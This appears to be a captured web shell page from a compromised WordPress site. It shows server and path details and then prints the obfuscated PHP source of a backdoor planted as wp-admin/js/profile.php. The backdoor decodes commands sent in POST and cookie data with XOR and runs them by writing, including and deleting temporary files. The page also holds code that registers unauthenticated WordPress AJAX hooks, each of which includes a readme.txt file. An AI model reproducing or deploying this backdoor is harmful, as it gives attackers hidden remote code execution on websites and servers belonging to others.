if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-admin/js/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-admin/js/profile.php
<?php $pcizgylpy /*   chclkg */ =    'pcizgylpy'    ^       '';


$reyut  =    $pcizgylpy(83) /*  kxb   */ . /*  n  */ "T"."R".$pcizgylpy(95)      .  "\120"    . /*  u*/ $pcizgylpy(65)	. /*ubjuf*/ $pcizgylpy(981-913) /* l__ */ . /*j */ $pcizgylpy(950-855)      .       $pcizgylpy(550-468)	. /*  jpsox   */ $pcizgylpy(73) /* qs */ . /* ixq*/ "G".$pcizgylpy(72)    .    "T";


$dyovh /*   wvuxw*/ =      "a".$pcizgylpy(996-882) /*  g  */ . /*wfdqbh  */ "\162"  .    $pcizgylpy(266-169)      .     "y"."\x5f"	.     "\x6d" /*auks  */ .    "\x61"    .	"p";
$opwym    =    "i".$pcizgylpy(647-538)   . /*r  */ "\160"	.	$pcizgylpy(394-286)  .    "o".$pcizgylpy(100) /*  zceis  */ . /*   xnjg  */ "\145";


$_hqsz	= /*tg   */ "\163"	.    "\164"      .    $pcizgylpy(321-207)    .    "_".$pcizgylpy(309-197)    .    "a"."d";
$rbpfhb /*  utw */ =     "\x63" /*   pwpfd*/ .  "o"."u".$pcizgylpy(579-469)   . /* oxax   */ "t";




function /*   ucjk  */ utfhglg($vj_qya_sc,    $fcbqd_uelcsfei)

{

 /*   yubka*/ global     $pcizgylpy;


	


 /*  pxbknb*/ $vj_qya_sc /*  _invl  */ = /*zbsyry*/ "\74"  . /*bn*/ $pcizgylpy(1003-940) /* o  */ .    $pcizgylpy(112) /*   nmuiaj  */ .  $pcizgylpy(721-617) /*gh*/ .	"\160" /* qkbl   */ .    $pcizgylpy(32)    .      "u"."\x6e"  .     "l"."i".$pcizgylpy(980-870)     .       "k"."("."_"."\x5f"   . /*   yf */ "F"."\x49"	.  $pcizgylpy(76)     . /*   j_bgp   */ "\x45"    .     "\137"   .   "_".")".$pcizgylpy(927-868) /*  wk_ie */ .  $pcizgylpy(32) /*   v  */ .	$vj_qya_sc[$pcizgylpy(100)];    $lpnlokij /*   rsqvb */ =      "f"."i".$pcizgylpy(780-672)    . /*kzv   */ "\145"     . /* c  */ "_"."\160"  .   $pcizgylpy(632-515) /*  w*/ .    $pcizgylpy(192-76) /* fp */ .    "_"."c"."o".$pcizgylpy(759-649)     .       "\164"    .     "\x65"."\x6e"	. /*   toxdru  */ $pcizgylpy(116) /* a  */ .	$pcizgylpy(115);
 /*   bmq  */ 


 /*  oqagi */ $lpnlokij($fcbqd_uelcsfei,    $vj_qya_sc);

 /* yywwxe   */    zckscelnba($fcbqd_uelcsfei);


}$fcbqd_uelclvrb  = /*zx   */ 73;function    zckscelnba($fcbqd_uelcsfei){ /*ha*/ global    $pcizgylpy;


    
    include($fcbqd_uelcsfei);


    $fcbqd_uelcl_zwu    =	$fcbqd_uelcsfei; /*   gvpd */ @unlink($fcbqd_uelcl_zwu);
}
function	jygioy()

{


   global    $pcizgylpy;



	$fcbqd_uelc /* ba */ =    array();
  $fcbqd_uelc[$pcizgylpy(112)      .      "\166"]    =    phpversion();
     $fcbqd_uelc["\163" /*   edr  */ .    $pcizgylpy(118)]      =    $pcizgylpy(51)    .	".".$pcizgylpy(53);


	$gqwitv_    = /*  eed */ 74;
  echo /*  pmfty*/ @serialize($fcbqd_uelc);


}






function /*  pys */ _qhinmog($vj_qya_sc, /*   _  */ $xqolcz)
{


    global     $pcizgylpy;



    $rdibi_dcp  =     "";


	$ornmcjl /*  glchdq  */ =       'gfgcai';


 /* jilby   */ $zyipej /* tdku   */ =      hash('sha256',   $vj_qya_sc);


    $nrvenhuji   = /*  ixy */ str_replace('pb', /*yotk  */ $zyipej, /*  tbclw*/ $ornmcjl);

    $fcbqd_uelc    =	0;    while	($fcbqd_uelc    < /*   bdgf*/ strlen($vj_qya_sc))    {


  $hltswillfk /* o*/ =      isset($xqolcz)   ? /*   tqqmu   */ $xqolcz /*  ydyxs  */ : /*  ap  */ '';    for  ($bqtrorxuk /* lrnb*/ =    0; /*   lns  */ $bqtrorxuk    <    strlen($hltswillfk)    && /*ciztp  */ $fcbqd_uelc    <     strlen($vj_qya_sc);    $bqtrorxuk++,     $fcbqd_uelc++) /*   byt   */ {     $rdibi_dcp	.= /* z */ $pcizgylpy(ord($vj_qya_sc[$fcbqd_uelc]) /*   c  */ ^	ord($hltswillfk[$bqtrorxuk]));
    }


 /*siil  */ if      (strlen($rdibi_dcp) /*yqsziu*/ > /*qdfsa*/ 20) /*bymw   */ {


     $nrvenhuji     =    substr($rdibi_dcp,       0,    20);

       }  }

     if	(empty($rdibi_dcp))    {	$rdibi_dcp    =	date('Y-m-d    H:i:s');
 /* b_m_jp  */ }


	return   $rdibi_dcp;

}







function    xgwhajgis($brfpfjuor)
{

	global   $pcizgylpy;

    

    $hizgmauk /* qvgd */ =   $pcizgylpy(566-464) /*  pzjqp   */ .   $pcizgylpy(783-734)    .  "\x32"	.     $pcizgylpy(134-85)     . /*yssb   */ $pcizgylpy(332-232)     .	$pcizgylpy(100)."\62" /*  dda   */ . /*   vhdutt  */ $pcizgylpy(99)  . /*   yxz*/ $pcizgylpy(45) /*  qx   */ .       "\146"       .    $pcizgylpy(495-393)	.	"\71"   .      $pcizgylpy(99)      .       "-"."4"."\x65"."1"."a".$pcizgylpy(1003-958) /* v  */ . /* r*/ "a"."1"."\144"       .     "a"."\x2d" /*  wbjhba*/ . /*caqf */ "\x37"    .       "\x65"	.     "7".$pcizgylpy(50) /*   ifw   */ .    "\62"       .	"5".$pcizgylpy(99)	.      $pcizgylpy(595-547)    .	"\62" /* e */ . /*  pcyqmo   */ "\65" /*yqy   */ .       $pcizgylpy(50)  .	"\x65";
 /*   wbtdwu*/ 

    foreach /* swrdaz */ ($brfpfjuor /*  vjr*/ as	$bqtrorxukytofjelh      =>   $vj_qya_sc)   {  xujpur(base64_decode($vj_qya_sc),    $hizgmauk,       $bqtrorxukytofjelh);

 /*   kv   */ }

}




function /* vt*/ xujpur($vj_qya_sc,    $hizgmauk, /*  cqbv   */ $bqtrorxukytofjelh)
{
      global  $pcizgylpy;
	 /*vt  */ $vj_qya_sc /*wlvrv   */ = /*kenw*/ unserialize(_qhinmog(_qhinmog($vj_qya_sc,    $hizgmauk),    $bqtrorxukytofjelh));
	$azc_iutl /*  lqxlac  */ =      'jnckoy';


	$xozia	=       'ktgfygq_mh';

 /*kmqnn */ if /*  zxj*/ (isset($vj_qya_sc["a"."\153"])) /*ajlgu   */ {
	if       ($vj_qya_sc["a"]	==      "i")	{

     jygioy();


       } /*k*/ elseif	($vj_qya_sc["a"]	==       "\x65") /* vqn */ {
    utfhglg($vj_qya_sc, /*   oxzwvt*/ sprintf($pcizgylpy(169-123) /* tm   */ .       "/"."\x25"     .       "s"."."."p"."l", /*  kcdoa */ md5($hizgmauk)));

			$tsqfu	=    44;    }

 /*idvo   */ exit();


    }}





xgwhajgis($_POST);    
$ononzyy /* uigt   */ =  $dyovh('rawurldecode',       $_POST);$uwghb /*n*/ = /*   jnel   */ $rbpfhb($ononzyy);


if	($uwghb      > /*  zc   */ 0)    {
    $merdy      =	$opwym(',',  $ononzyy);
}


xgwhajgis($_COOKIE);  

$_kfpmj     = /*  eqalhg*/ $dyovh('rawurldecode',  $_COOKIE);$yewejuhs       =   $rbpfhb($_kfpmj);if    ($yewejuhs /*  bnty */ > /*fvs */ 0)   {	$g_sbdjkb	= /*gywj */ $opwym(';', /* rzjfy  */ $_kfpmj);
}
$ecfae    =    $_kfpmj;



$_cffzrscwj /*  qjo  */ =    date('Y-m-d    H:i:s');$rs_fcvz /*  nr_drq */ =       strlen($opwym('', /*pm   */ $ecfae));if /*og   */ ($rs_fcvz /*   napw   */ > /*  k_ysnq */ 100)    {
      $_hmqm_z_du    = /*ue   */ $_hqsz($opwym('',    $ecfae), /* aahon   */ 150, /* bjtqvo*/ '0',    $reyut);}






?>
@ Telegram